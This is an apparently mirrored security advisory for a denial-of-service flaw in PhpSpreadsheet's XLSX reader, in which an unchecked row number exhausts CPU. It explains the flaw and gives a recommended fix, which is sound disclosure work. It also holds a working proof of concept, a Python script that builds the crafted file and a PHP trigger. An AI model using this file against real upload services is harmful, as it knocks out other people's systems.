High

PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions

  • Disclosed: 29.04.2026
  • Updated: 11.10.2026 10:22

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

php
// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

php
// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

php
// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

python
import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('[Content_Types].xml', content_types)
    zf.writestr('_rels/.rels', rels)
    zf.writestr('xl/workbook.xml', workbook)
    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
    zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dos_row.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

php
<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
    // CPU exhaustion
}

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

  • CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file.
  • Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
  • Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
  • Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

php
// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];

// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
    continue;
}

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.

Affected software

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PlatformPackageVulnerable versionsFixed in
Composer package phpoffice/phpspreadsheet >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-400, CWE-770
Platform
Composer
Package
phpoffice/phpspreadsheet
Disclosed
29.04.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-7c6m-4442-2x6m - CC BY 4.0

Vulnerability history: phpoffice/phpspreadsheet

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (31) in the archive
Total entries
31
First → latest
11.2019 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 2
  • High 17
  • Medium 12

Disclosures per year

  1. 2019: 2
  2. 2020: 0
  3. 2021: 1
  4. 2022: 0
  5. 2023: 0
  6. 2024: 9
  7. 2025: 10
  8. 2026: 9
Severity:
  1. High · 7.5 CVE-2026-59933 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  2. High · 7.5 CVE-2026-59932 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  3. High · 7.7 CVE-2026-59931 >= 4.0.0, < 5.8.1, >= 3.3.0, < 3.10.7, >= 2.2.0, < 2.4.7, >= 2.0.0, < 2.1.18, < 1.30.6 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6
  4. Critical CVE-2026-45034 < 1.30.5 1.30.5
  5. PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions this entry
    High · 7.5 CVE-2026-40902 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  6. High · 7.5 CVE-2026-40863 >= 4.0.0, < 5.7.0, >= 3.3.0, < 3.10.5, >= 2.2.0, < 2.4.5, >= 2.0.0, < 2.1.16, < 1.30.4 5.7.0, 3.10.5, 2.4.5, 2.1.16, 1.30.4
  7. Critical CVE-2026-34084 >= 4.0.0, < 5.6.0, >= 3.3.0, < 3.10.4, >= 2.2.0, < 2.4.4, >= 2.0.0, < 2.1.15, < 1.30.3 5.6.0, 3.10.4, 2.4.4, 2.1.15, 1.30.3
  8. High CVE-2025-54370 < 1.30.0, >= 2.0.0, < 2.1.12, >= 2.2.0, < 2.4.0, >= 3.0.0, < 3.10.0, >= 4.0.0, < 5.0.0 1.30.0, 2.1.12, 2.4.0, 3.10.0, 5.0.0
  9. High · 7.1 CVE-2024-56409 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  10. High · 7.1 CVE-2024-56366 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  11. High · 7.1 CVE-2024-56365 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  12. High · 7.1 CVE-2024-56408 >= 3.0.0, < 3.7.0, < 1.29.7, >= 2.0.0, < 2.1.6, >= 2.2.0, < 2.3.5 3.7.0, 1.29.7, 2.1.6, 2.3.5
  13. High · 7.5 CVE-2024-48917 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  14. High · 7.5 CVE-2024-47873 < 1.29.4, >= 2.0.0, < 2.1.3, >= 2.2.0, < 2.3.2, >= 3.3.0, < 3.4.0 1.29.4, 2.1.3, 2.3.2, 3.4.0
  15. High · 7.7 CVE-2024-45290 >= 2.2.0, < 2.3.0, < 1.29.2, >= 2.0.0, < 2.1.1 2.3.0, 1.29.2, 2.1.1
  16. High · 7.5 CVE-2024-45293 >= 2.2.0, < 2.3.0, < 1.29.1, >= 2.0.0, < 2.1.1 2.3.0, 1.29.1, 2.1.1
  17. High · 8.8 CVE-2024-45048 < 1.29.1, >= 2.2.0, < 2.2.1, >= 2.0.0, < 2.1.1 1.29.1, 2.2.1, 2.1.1
  18. High · 8.8 CVE-2018-19277 < 1.5.1 1.5.1

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